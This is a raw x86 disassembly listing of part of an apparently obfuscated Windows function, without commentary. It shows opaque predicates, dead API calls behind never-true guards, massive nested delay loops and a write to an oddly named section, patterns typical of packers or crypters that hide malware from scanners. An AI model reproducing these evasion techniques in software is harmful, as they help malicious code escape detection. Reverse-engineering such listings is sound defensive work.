mov dword [ebp - 0xaa4], 1
jmp 0x10032209
and dword [ebp - 0xaa4], 0
mov eax, dword [ebp - 0x434]
cmp dword [ebp - 0xaa4], eax
jg 0x10032223
mov dword [ebp - 0xf6c], 1
jmp 0x1003222a
and dword [ebp - 0xf6c], 0
mov eax, dword [ebp - 0xf6c]
mov dword [ebp - 0x904], eax
mov eax, dword [ebp - 0x17c]
cmp dword [ebp - 0x904], eax
jg 0x10032250
mov dword [ebp - 0xaac], 1
jmp 0x10032257
and dword [ebp - 0xaac], 0
mov eax, dword [ebp - 0x250]
cmp eax, dword [ebp - 0xaac]
jg 0x10032271
mov dword [ebp - 0x133c], 1
jmp 0x10032278
and dword [ebp - 0x133c], 0
mov eax, dword [ebp - 0x133c]
mov dword [ebp - 0xab4], eax
cmp dword [ebp - 0xab4], 0xffffffff
jae 0x10032299
mov dword [ebp - 0xf74], 1
jmp 0x100322a0
and dword [ebp - 0xf74], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xacc]
cmp dword [ebp - 0xf74], eax
jle 0x100322c1
mov dword [ebp - 0xabc], 1
jmp 0x100322c8
and dword [ebp - 0xabc], 0
mov esi, dword [ebp - 0xabc]
sub esi, 0xbad2
push 0
lea ecx, [ebp - 0x14d4]
call fcn.1001d90b
sub esi, dword [eax]
cmp esi, 0x975a
je 0x100322f7
mov dword [ebp - 0x11d4], 1
jmp 0x100322fe
and dword [ebp - 0x11d4], 0
mov eax, dword [ebp - 0x434]
cmp eax, dword [ebp - 0x11d4]
jge 0x10032318
mov dword [ebp - 0xac4], 1
jmp 0x1003231f
and dword [ebp - 0xac4], 0
mov eax, dword [ebp - 0x17c]
imul eax, dword [ebp - 0xac4]
test eax, eax
je 0x10032337
push 6
pop eax
test eax, eax
jne 0x10032340
mov eax, 0xa91e
test eax, eax
je 0x10032351
xor eax, eax
inc eax
je 0x10032351
mov dword [ebp - 0xf7c], 1
jmp 0x10032358
and dword [ebp - 0xf7c], 0
mov eax, dword [ebp - 0xf7c]
sub eax, 0x1f89e1f3
jne 0x1003237e
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xacc], 0
jne 0x1003237e
and dword [ebp - 0x1304], 0
jmp 0x10032388
mov dword [ebp - 0x1304], 1
mov eax, dword [ebp - 0x17c]
add eax, dword [ebp - 0x1304]
cmp eax, dword [ebp - 0x434]
jne 0x100323a8
mov dword [ebp - 0xad4], 1
jmp 0x100323af
and dword [ebp - 0xad4], 0
mov eax, dword [ebp - 0x17c]
cmp dword [ebp - 0xad4], eax
jg 0x100323c9
mov dword [ebp - 0xf84], 1
jmp 0x100323d0
and dword [ebp - 0xf84], 0
mov eax, dword [ebp - 0xf84]
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x434], 0
je 0x100323e7
jmp 0x100323ec
jmp 0x1003202f
mov dword [ebp - 0x2c0], 0
jmp 0x10032405
mov eax, dword [ebp - 0x2c0]
dec eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 0xffffffe2
je 0x1003241c
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x904], eax
jmp 0x100323f8
cmp dword [ebp - 0xadc], 0x574c
jge 0x10032438
mov edx, dword [ebp - 0x1898]
mov ecx, 0x10082bb8
call fcn.100202a3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14d4]
call fcn.1001d8ef
mov eax, dword [ebp - 0x54]
movzx eax, byte [ebp + eax - 0x338]
inc eax
mov dword [ebp - 0x7c4], eax
mov dword [ebp - 0x43c], 0xdba33992
mov dword [ebp - 0x60c], 0
jmp 0x1003247c
mov eax, dword [ebp - 0x60c]
inc eax
mov dword [ebp - 0x60c], eax
cmp dword [ebp - 0x60c], 3
jge 0x10032498
mov eax, dword [ebp - 0x60c]
mov dword [ebp + eax*4 - 0x1b6c], 0xfffffffc
jmp 0x1003246f
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x1b6c], 0
jmp 0x100324c3
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1b6c]
dec eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x1b6c], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x1b6c], 0xffffffe6
jg 0x100324f2
mov byte [ebp - 0x201], 0
movzx eax, byte [ebp - 0x201]
test eax, eax
je 0x100324f0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
jmp 0x100324aa
mov dword [ebp - 0x43c], 0xffffffee
jmp 0x1003250b
mov eax, dword [ebp - 0x43c]
inc eax
mov dword [ebp - 0x43c], eax
cmp dword [ebp - 0x43c], 1
jle 0x10032552
mov byte [ebp - 0x203], 0
movzx eax, byte [ebp - 0x203]
test eax, eax
je 0x1003252e
push 0
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov byte [ebp - 0x205], 0
movzx eax, byte [ebp - 0x205]
test eax, eax
je 0x10032550
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_CreateDialogParamA]
jmp 0x100324fe
mov eax, dword [ebp - 0x54]
movzx eax, byte [ebp + eax - 0x338]
mov ecx, dword [ebp - 0x54]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x1bb0], 0xfffffff7
mov dword [ebp - 0x1bac], 0xfffffff7
mov dword [ebp - 0x1ba8], 0xfffffff7
mov dword [ebp - 0x1ba4], 0xfffffff7
lea ecx, [ebp - 0x8cd]
call fcn.1001d91a
push eax
lea eax, [ebp - 0x1ba0]
push eax
lea eax, [ebp - 0x1bb0]
push eax
lea ecx, [ebp - 0x21b0]
call fcn.1001d91d
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x213c]
call fcn.1001d8c9
mov dword [ebp - 0x1e60], 1
mov dword [ebp - 0x2098], 0xdc660f7e
mov dword [ebp - 0x11dc], 1
mov dword [ebp - 0x1e68], 0
mov dword [ebp - 0x76c], 0
jmp 0x10032605
mov eax, dword [ebp - 0x76c]
inc eax
mov dword [ebp - 0x76c], eax
cmp dword [ebp - 0x76c], 2
jge 0x10032621
mov eax, dword [ebp - 0x76c]
mov dword [ebp + eax*4 - 0x1450], 0xfffffffa
jmp 0x100325f8
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x1450], 3
jmp 0x1003264f
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1450]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x1450], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1450], 0
jl 0x10032696
mov dword [ebp - 0x2010], 0x31d83293
mov dword [ebp - 0x1e70], 0xc1574781
mov dword [ebp - 0x2088], 0xd1ad67a4
mov dword [ebp - 0x1e78], 0x90f02349
mov eax, dword [ebp - 0x11dc]
inc eax
mov dword [ebp - 0x11dc], eax
jmp 0x10032634
lea ecx, [ebp - 0x213c]
call fcn.1001d8ef
jmp 0x10031c21
mov eax, dword [ebp - 0x54]
movzx eax, byte [ebp + eax - 0x337]
mov ecx, dword [ebp - 0x54]
sub ecx, dword [ebp - 0x7c4]
movzx ecx, byte [ebp + ecx - 0x33a]
movsx ecx, byte [ebp + ecx - 0x1ae4]
or eax, ecx
mov ecx, dword [ebp - 0x54]
movzx ecx, byte [ebp + ecx - 0x337]
mov edx, dword [ebp - 0x54]
sub edx, dword [ebp - 0x7c4]
movzx edx, byte [ebp + edx - 0x33a]
movsx edx, byte [ebp + edx - 0x1ae4]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x54]
movzx ecx, byte [ebp + ecx - 0x338]
mov byte [ebp + ecx - 0x1ae4], al
mov dword [ebp - 0x30c], 0xffffffff
mov dword [ebp - 0x81c], 0x19a80bfb
mov dword [ebp - 0xf94], 8
mov dword [ebp - 0xae4], 0x5db4
mov dword [ebp - 0x151c], 0x1000a4a4
cmp dword [ebp - 0xae4], 0x5ec7
jle 0x10032850
and dword [ebp - 0x444], 0
jmp 0x1003275e
mov eax, dword [ebp - 0x444]
inc eax
mov dword [ebp - 0x444], eax
cmp dword [ebp - 0x444], 0x5bcf
jge 0x10032850
and dword [ebp - 0x614], 0
jmp 0x10032784
mov eax, dword [ebp - 0x614]
inc eax
mov dword [ebp - 0x614], eax
cmp dword [ebp - 0x614], 0x5481
jge 0x1003284b
and dword [ebp - 0x44c], 0
jmp 0x100327aa
mov eax, dword [ebp - 0x44c]
inc eax
mov dword [ebp - 0x44c], eax
cmp dword [ebp - 0x44c], 0x28d0
jge 0x10032846
and dword [ebp - 0x6fc], 0
jmp 0x100327d0
mov eax, dword [ebp - 0x6fc]
inc eax
mov dword [ebp - 0x6fc], eax
cmp dword [ebp - 0x6fc], 0x37a4
jge 0x10032841
mov eax, dword [ebp - 0x444]
sub eax, dword [ebp - 0x614]
sub eax, dword [ebp - 0x44c]
mov ecx, dword [ebp - 0x6fc]
shl eax, cl
cdq
mov dword [ebp - 0x16a8], eax
mov dword [ebp - 0x16a4], edx
push dword [ebp - 0x16a4]
push dword [ebp - 0x16a8]
lea ecx, [ebp - 0x22f8]
call fcn.1001072e
pop ecx
pop ecx
mov dword [ebp - 0x15f8], eax
mov ecx, dword [ebp - 0x15f8]
call fcn.1001d53e
push eax
call fcn.10067b63
pop ecx
lea ecx, [ebp - 0x22f8]
call fcn.1001d534
jmp 0x100327c3
jmp 0x1003279d
jmp 0x10032777
jmp 0x10032751
mov dword [ebp - 0x2018], 0x164f943a
cmp dword [ebp - 0xae4], 0x5ac0
jge 0x10032872
push dword [ebp - 0x151c]
call fcn.10067b63
pop ecx
mov dword [ebp - 0x1e80], 0xa1c33c01
push 2
lea ecx, [ebp - 0x14b0]
call fcn.1001d86d
mov dword [ebp - 4], 7
push 1
lea ecx, [ebp - 0x1ca8]
call fcn.1001d86d
mov byte [ebp - 4], 8
mov dword [ebp - 0x20b4], 0x8ac2
mov dword [ebp - 0x114], 0
jmp 0x100328c4
mov eax, dword [ebp - 0x114]
inc eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 2
jge 0x100328e6
push dword [ebp - 0x114]
lea ecx, [ebp - 0x14b0]
call fcn.1001d90b
mov dword [eax], 0xf2f34e40
jmp 0x100328b7
mov dword [ebp - 0x114], 0
jmp 0x100328ff
mov eax, dword [ebp - 0x114]
inc eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 1
jge 0x10032921
push dword [ebp - 0x114]
lea ecx, [ebp - 0x1ca8]
call fcn.1001d90b
mov dword [eax], 0xfffffff8
jmp 0x100328f2
mov dword [ebp - 0x30c], 0
jmp 0x1003293a
mov eax, dword [ebp - 0x30c]
inc eax
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 0xf
jl 0x10032c98
mov dword [ebp - 0xaec], 0x44696a48
mov dword [ebp - 0xaf4], 0x3beb
mov dword [ebp - 0xf8c], 0x711b
mov dword [ebp - 0x1524], 0x1000a4e0
cmp dword [ebp - 0xf8c], 0x7335
jle 0x10032a65
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_EnumFontsA]
and dword [ebp - 0x358], 0
jmp 0x100329a3
mov eax, dword [ebp - 0x358]
inc eax
mov dword [ebp - 0x358], eax
cmp dword [ebp - 0x358], 0x5457
jge 0x10032a65
and dword [ebp - 0x454], 0
jmp 0x100329c9
mov eax, dword [ebp - 0x454]
inc eax
mov dword [ebp - 0x454], eax
cmp dword [ebp - 0x454], 0xa42
jge 0x10032a60
and dword [ebp - 0x61c], 0
jmp 0x100329ef
mov eax, dword [ebp - 0x61c]
inc eax
mov dword [ebp - 0x61c], eax
cmp dword [ebp - 0x61c], 0x484f
jge 0x10032a5b
mov eax, dword [ebp - 0x454]
cdq
idiv dword [ebp - 0x61c]
add edx, dword [ebp - 0x358]
mov eax, edx
cdq
mov dword [ebp - 0x16b4], eax
mov dword [ebp - 0x16b0], edx
push dword [ebp - 0x16b0]
push dword [ebp - 0x16b4]
lea ecx, [ebp - 0x2448]
call fcn.1001072e
pop ecx
pop ecx
mov dword [ebp - 0x1aa4], eax
mov ecx, dword [ebp - 0x1aa4]
call fcn.1001d53e
push eax
call fcn.10067b63
pop ecx
lea ecx, [ebp - 0x2448]
call fcn.1001d534
jmp 0x100329e2
jmp 0x100329bc
jmp 0x10032996
mov dword [ebp - 0x152c], 8
cmp dword [ebp - 0xf8c], 0x6de5
jge 0x10032a87
push dword [ebp - 0x1524]
call fcn.10067b63
pop ecx
mov dword [ebp - 0x1e88], 1
mov dword [ebp - 0x2020], 0x2891ba80
mov dword [ebp - 0x1e90], 0x18ebdb88
mov dword [ebp - 0x153c], 0xf27142b6
mov dword [ebp - 0x2094], 0x100825e8
mov dword [ebp - 0x1e98], 0x7800ff68
mov dword [ebp - 0x18bc], 0xdfc1
mov dword [ebp - 0x1544], 0x765e4bc
mov dword [ebp - 0x45c], 0
jmp 0x10032af0
mov eax, dword [ebp - 0x45c]
inc eax
mov dword [ebp - 0x45c], eax
cmp dword [ebp - 0x45c], 1
jge 0x10032b0c
mov eax, dword [ebp - 0x45c]
mov dword [ebp + eax*4 - 0x18b0], 0xa3888ad8
jmp 0x10032ae3
mov eax, dword [ebp - 0xaec]
cmp dword [ebp - 0xaec], eax
jg 0x10032b26
mov dword [ebp - 0x1344], 1
jmp 0x10032b2d
and dword [ebp - 0x1344], 0
mov eax, dword [ebp - 0x1344]
mov dword [ebp - 0xaf4], eax
mov eax, dword [ebp - 0xaf4]
mov dword [ebp - 0x81c], eax
cmp dword [ebp - 0x81c], 0
je 0x10032b6f
mov eax, dword [ebp - 0x81c]
mov dword [ebp - 0xf94], eax
cmp dword [ebp - 0xf94], 0
je 0x10032b6f
mov dword [ebp - 0x18a4], 1
jmp 0x10032b76
and dword [ebp - 0x18a4], 0
push 0
lea ecx, [ebp - 0x1ca8]
call fcn.1001d90b
mov dword [ebp - 0x89c], eax
mov eax, dword [ebp - 0x152c]
mov dword [ebp - 0x1a4c], eax
mov eax, dword [ebp - 0x89c]
mov eax, dword [eax]
mov dword [ebp - 0x1534], eax
mov eax, dword [ebp - 0x89c]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x89c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1a4c]
cmp eax, dword [ebp - 0x1534]
jl 0x10032bce
mov dword [ebp - 0xafc], 1
jmp 0x10032bd5
and dword [ebp - 0xafc], 0
cmp dword [ebp - 0xafc], 0xeb4e
jg 0x10032bed
mov dword [ebp - 0x11e4], 1
jmp 0x10032bf4
and dword [ebp - 0x11e4], 0
mov eax, dword [ebp - 0x30c]
cmp eax, dword [ebp - 0x11e4]
je 0x10032c1b
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x18b0], 0
jne 0x10032c1b
and dword [ebp - 0xb04], 0
jmp 0x10032c25
mov dword [ebp - 0xb04], 1
mov eax, dword [ebp - 0x153c]
cmp dword [ebp - 0xb04], eax
jge 0x10032c3f
mov dword [ebp - 0x1ad4], 1
jmp 0x10032c46
and dword [ebp - 0x1ad4], 0
push 0
lea ecx, [ebp - 0x14b0]
call fcn.1001d90b
push 1
lea ecx, [ebp - 0x14b0]
call fcn.1001d90b
push 1
lea ecx, [ebp - 0x14b0]
call fcn.1001d90b
mov eax, dword [ebp - 0x1544]
mov dword [ebp - 0x2028], eax
cmp dword [ebp - 0x18bc], 0
push 0
lea ecx, [ebp - 0x14b0]
call fcn.1001d90b
mov dword [eax], 1
jmp 0x1003292d
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x1ca8]
call fcn.1001d8ef
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14b0]
call fcn.1001d8ef
and dword [ebp - 0x7c4], 0
jmp 0x10031c21
mov dword [ebp - 0xa8], 0xfffffff6
mov dword [ebp - 0x824], 0xe662db8e
mov dword [ebp - 0x2a8], 0x63785551
mov dword [ebp - 0xa8], 0
jmp 0x10032cf9
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 2
jge 0x10032e1e
push 3
lea ecx, [ebp - 0x1cf0]
call fcn.1001d86d
mov dword [ebp - 4], 9
push 1
lea ecx, [ebp - 0x19f8]
call fcn.1001d86d
mov byte [ebp - 4], 0xa
mov dword [ebp - 0xec], 0
jmp 0x10032d44
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 3
jge 0x10032d66
push dword [ebp - 0xec]
lea ecx, [ebp - 0x1cf0]
call fcn.1001d90b
mov dword [eax], 3
jmp 0x10032d37
mov dword [ebp - 0xec], 0
jmp 0x10032d7f
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 1
jge 0x10032da1
push dword [ebp - 0xec]
lea ecx, [ebp - 0x19f8]
call fcn.1001d90b
mov dword [eax], 0xe446df37
jmp 0x10032d72
push 0
lea ecx, [ebp - 0x19f8]
call fcn.1001d90b
and dword [eax], 0
jmp 0x10032dd7
push 0
lea ecx, [ebp - 0x19f8]
call fcn.1001d90b
mov dword [ebp - 0xf9c], eax
mov eax, dword [ebp - 0xf9c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xf9c]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x19f8]
call fcn.1001d90b
cmp dword [eax], 2
jg 0x10032dfb
push 0
lea ecx, [ebp - 0x1cf0]
call fcn.1001d90b
and dword [eax], 0
jmp 0x10032db3
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x19f8]
call fcn.1001d8ef
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1cf0]
call fcn.1001d8ef
jmp 0x10032cec
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x824], eax
mov eax, dword [ebp - 0x2a8]
cmp dword [ebp - 0x824], eax
jg 0x10032eca
mov eax, dword [ebp - 0x2a8]
cmp dword [ebp - 0x2a8], eax
jge 0x10032e56
mov dword [ebp - 0xb0c], 1
jmp 0x10032e5d
and dword [ebp - 0xb0c], 0
cmp dword [ebp - 0xb0c], 0x93e6
jle 0x10032e75
mov dword [ebp - 0x130c], 1
jmp 0x10032e7c
and dword [ebp - 0x130c], 0
mov eax, dword [ebp - 0xa8]
cmp dword [ebp - 0x130c], eax
jne 0x10032e96
mov dword [ebp - 0xb14], 1
jmp 0x10032e9d
and dword [ebp - 0xb14], 0
mov eax, dword [ebp - 0xb14]
mov dword [ebp - 0x2a8], eax
mov eax, dword [ebp - 0x824]
cmp dword [ebp - 0x2a8], eax
jle 0x10032ec3
mov dword [ebp - 0xfa4], 1
jmp 0x10032eca
and dword [ebp - 0xfa4], 0
mov eax, dword [ebp - 0xa8]
cmp dword [ebp - 0xa8], eax
je 0x10032ee4
mov dword [ebp - 0xb1c], 1
jmp 0x10032eeb
and dword [ebp - 0xb1c], 0
mov eax, dword [ebp - 0xa8]
cmp eax, dword [ebp - 0xb1c]
jle 0x10032f0e
cmp dword [ebp - 0x2a8], 0
je 0x10032f0e
mov dword [ebp - 0x11ec], 1
jmp 0x10032f15
and dword [ebp - 0x11ec], 0
cmp dword [ebp - 0x11ec], 0xf40e13f5
jae 0x10032f2d
mov dword [ebp - 0xb24], 1
jmp 0x10032f34
and dword [ebp - 0xb24], 0
mov eax, dword [ebp - 0xb24]
mov dword [ebp - 0xa8], eax
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0x1ae4], 0
mov dword [ebp - 0x464], 0x91a049fe
mov byte [ebp - 0x21e], 0
movzx eax, byte [ebp - 0x21e]
test eax, eax
je 0x10032f74
push 0
push 0
call dword [sym.imp.USER32.dll_GetClientRect]
mov dword [ebp - 0x464], 0xffffffea
jmp 0x10032f8d
mov eax, dword [ebp - 0x464]
dec eax
mov dword [ebp - 0x464], eax
cmp dword [ebp - 0x464], 0xffffffe5
je 0x100330dc
mov byte [ebp - 0x181], 0
mov dword [ebp - 0xfac], 0x70a8
mov dword [ebp - 0x154c], 0x1000a530
cmp dword [ebp - 0xfac], 0x720a
jle 0x100330a0
and dword [ebp - 0x704], 0
jmp 0x10032fdb
mov eax, dword [ebp - 0x704]
inc eax
mov dword [ebp - 0x704], eax
cmp dword [ebp - 0x704], 0x3ac8
jge 0x100330a0
and dword [ebp - 0x624], 0
jmp 0x10033001
mov eax, dword [ebp - 0x624]
inc eax
mov dword [ebp - 0x624], eax
cmp dword [ebp - 0x624], 0x1644
jge 0x1003309b
and dword [ebp - 0x46c], 0
jmp 0x10033027
mov eax, dword [ebp - 0x46c]
inc eax
mov dword [ebp - 0x46c], eax
cmp dword [ebp - 0x46c], 0x2eb3
jge 0x10033096
and dword [ebp - 0x474], 0
jmp 0x10033049
mov eax, dword [ebp - 0x474]
inc eax
mov dword [ebp - 0x474], eax
cmp dword [ebp - 0x474], 0xeb0
jge 0x10033094
mov ecx, dword [ebp - 0x624]
sub ecx, dword [ebp - 0x46c]
mov eax, dword [ebp - 0x704]
sar eax, cl
or eax, dword [ebp - 0x474]
cdq
mov dword [ebp - 0x16c0], eax
mov dword [ebp - 0x16bc], edx
push dword [ebp - 0x16bc]
push dword [ebp - 0x16c0]
mov ecx, 0x10082bb8
call fcn.1001d55e
jmp 0x1003303c
jmp 0x1003301a
jmp 0x10032ff4
jmp 0x10032fce
movzx eax, byte [ebp - 0x181]
test eax, eax
je 0x100330bb
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_TextOutA]
cmp dword [ebp - 0xfac], 0x7060
jge 0x100330d7
mov edx, dword [ebp - 0x154c]
mov ecx, 0x10082bb8
call fcn.100202a3
jmp 0x10032f80
lea eax, [ebp - 0x1ae4]
push eax
lea ecx, [ebp - 0x2328]
call fcn.10041f3b
mov dword [ebp - 0x1a54], eax
mov eax, dword [ebp - 0x1a54]
mov dword [ebp - 0x1554], eax
mov dword [ebp - 4], 0xb
mov edx, dword [ebp - 0xbdc]
mov ecx, dword [ebp - 0x1554]
call fcn.10021202
mov dword [section.ycflqf], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2328]
call fcn.1001d7da
mov dword [ebp - 0x30], 0xc75b57fd
mov dword [ebp - 0x30], 0
jmp 0x10033143
mov eax, dword [ebp - 0x30]
dec eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffe2
jne 0x10033387
push 2
lea ecx, [ebp - 0x1b24]
call fcn.1001d86d
mov dword [ebp - 4], 0xc
mov dword [ebp - 0xfc4], 4
mov dword [ebp - 0xb44], 1
mov dword [ebp - 0x8dc], 0xfffffff7
mov dword [ebp - 0x155c], 1
mov dword [ebp - 0x62c], 0
jmp 0x100331a2
mov eax, dword [ebp - 0x62c]
inc eax
mov dword [ebp - 0x62c], eax
cmp dword [ebp - 0x62c], 2
jge 0x100331c4
push dword [ebp - 0x62c]
lea ecx, [ebp - 0x1b24]
call fcn.1001d90b
mov dword [eax], 0xc4247706
jmp 0x10033195
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x1ea0], eax
push 1
lea ecx, [ebp - 0x1b24]
call fcn.1001d90b
mov dword [ebp - 0xb2c], eax
mov eax, dword [ebp - 0xb2c]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0xb2c]
mov dword [ecx], eax
mov esi, dword [ebp - 0x30]
push 0
lea ecx, [ebp - 0x1b24]
call fcn.1001d90b
cmp esi, dword [eax]
jne 0x10033211
mov dword [ebp - 0x134c], 1
jmp 0x10033218
and dword [ebp - 0x134c], 0
cmp dword [ebp - 0x134c], 0xfdd8
jle 0x10033230
mov dword [ebp - 0xb34], 1
jmp 0x10033237
and dword [ebp - 0xb34], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0xb34], eax
jle 0x1003324e
mov dword [ebp - 0xfb4], 1
jmp 0x10033255
and dword [ebp - 0xfb4], 0
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0xfb4]
je 0x1003326c
mov dword [ebp - 0xb3c], 1
jmp 0x10033273
and dword [ebp - 0xb3c], 0
mov eax, dword [ebp - 0xfc4]
cmp dword [ebp - 0xb3c], eax
jge 0x1003328d
mov dword [ebp - 0x11f4], 1
jmp 0x10033294
and dword [ebp - 0x11f4], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x11f4], eax
jg 0x100332a3
cmp dword [ebp - 0x30], 0
cmp dword [ebp - 0x30], 0
je 0x100332b0
cmp dword [ebp - 0xb44], 0
mov eax, dword [ebp - 0x8dc]
cmp dword [ebp - 0x30], eax
je 0x100332c7
mov dword [ebp - 0xfbc], 1
jmp 0x100332ce
and dword [ebp - 0xfbc], 0
mov eax, dword [ebp - 0xb44]
cmp dword [ebp - 0xfbc], eax
jne 0x100332e8
mov dword [ebp - 0xb4c], 1
jmp 0x100332ef
and dword [ebp - 0xb4c], 0
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0xb4c]
jle 0x10033306
mov dword [ebp - 0x1314], 1
jmp 0x1003330d
and dword [ebp - 0x1314], 0
cmp dword [ebp - 0x1314], 0xe318b474
je 0x10033325
mov dword [ebp - 0xb54], 1
jmp 0x1003332c
and dword [ebp - 0xb54], 0
cmp dword [ebp - 0xb54], 0x7976
je 0x10033344
mov dword [ebp - 0x18c8], 1
jmp 0x1003334b
and dword [ebp - 0x18c8], 0
mov eax, dword [ebp - 0xfc4]
mov dword [ebp - 0x20d4], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x8dc], eax
mov eax, dword [ebp - 0x8dc]
sub eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0x30]
mov dword [ebp - 0x155c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1b24]
call fcn.1001d8ef
jmp 0x1003313c
and dword [ebp - 0x47c], 0
jmp 0x1003339d
mov eax, dword [ebp - 0x47c]
inc eax
mov dword [ebp - 0x47c], eax
cmp dword [ebp - 0x47c], 0xe
jae 0x100333b6
mov eax, dword [ebp - 0x47c]
mov byte [ebp + eax - 0x1ae4], 0
jmp 0x10033390
mov dword [ebp - 0x120c], 0x6f13
mov dword [ebp - 0x1584], 0x1000a588
cmp dword [ebp - 0x120c], 0x71af
jle 0x100334b7
push 0
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
and dword [ebp - 0x774], 0
jmp 0x100333f8
mov eax, dword [ebp - 0x774]
inc eax
mov dword [ebp - 0x774], eax
cmp dword [ebp - 0x774], 0x543b
jge 0x100334b7
and dword [ebp - 0x484], 0
jmp 0x1003341e
mov eax, dword [ebp - 0x484]
inc eax
mov dword [ebp - 0x484], eax
cmp dword [ebp - 0x484], 0x1946
jge 0x100334b2
and dword [ebp - 0x634], 0
jmp 0x10033444
mov eax, dword [ebp - 0x634]
inc eax
mov dword [ebp - 0x634], eax
cmp dword [ebp - 0x634], 0x1a7a
jge 0x100334ad
mov eax, dword [ebp - 0x774]
add eax, dword [ebp - 0x484]
xor eax, dword [ebp - 0x634]
cdq
mov dword [ebp - 0x16cc], eax
mov dword [ebp - 0x16c8], edx
push dword [ebp - 0x16c8]
push dword [ebp - 0x16cc]
lea ecx, [ebp - 0x2280]
call fcn.1001072e
pop ecx
pop ecx
mov dword [ebp - 0x1aac], eax
mov ecx, dword [ebp - 0x1aac]
call fcn.1001d53e
push eax
call fcn.10067b63
pop ecx
lea ecx, [ebp - 0x2280]
call fcn.1001d534
jmp 0x10033437
jmp 0x10033411
jmp 0x100333eb
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x258], 0x76acb8f2
mov dword [ebp - 0x2f8], 0xbae8
mov dword [ebp - 0x1c00], 0x63d62a04
mov dword [ebp - 0x1bfc], 0x63d62a04
mov dword [ebp - 0x1bf8], 0x63d62a04
mov dword [ebp - 0x1bf4], 0x63d62a04
lea ecx, [ebp - 0x8d5]
call fcn.1001d91a
push eax
lea eax, [ebp - 0x1bf0]
push eax
lea eax, [ebp - 0x1c00]
push eax
lea ecx, [ebp - 0x2220]
call fcn.1001d91d
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x914]
call fcn.1001d8c9
mov dword [ebp - 4], 0xd
mov dword [ebp - 0x1574], 0xd0d8
mov dword [ebp - 0x834], 0xffffffff
mov dword [ebp - 0x157c], 1
mov dword [ebp - 0x70], 0
jmp 0x10033564
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0x1c
jl 0x100338df
mov dword [ebp - 0x8a4], 0xffffffff
mov dword [ebp - 0x2c8], 1
cmp dword [ebp - 0x70], 0
je 0x10033637
mov eax, dword [ebp - 0x8a4]
mov dword [ebp - 0x1ea8], eax
mov dword [ebp - 0x258], 6
cmp dword [ebp - 0x258], 0
jne 0x100335bd
mov eax, 0x1720d700
test eax, eax
jne 0x100335bd
and dword [ebp - 0xb5c], 0
jmp 0x100335c7
mov dword [ebp - 0xb5c], 1
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0xb5c], eax
jl 0x100335de
mov dword [ebp - 0x1564], 1
jmp 0x100335e5
and dword [ebp - 0x1564], 0
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x2030], eax
mov eax, dword [ebp - 0x2c8]
mov dword [ebp - 0x1eb0], eax
mov eax, dword [ebp - 0x8a4]
add eax, dword [ebp - 0x258]
cmp eax, dword [ebp - 0x2f8]
jle 0x1003361a
mov dword [ebp - 0x11fc], 1
jmp 0x10033621
and dword [ebp - 0x11fc], 0
mov eax, dword [ebp - 0x11fc]
neg eax
je 0x10033637
mov dword [ebp - 0xb64], 1
jmp 0x1003363e
and dword [ebp - 0xb64], 0
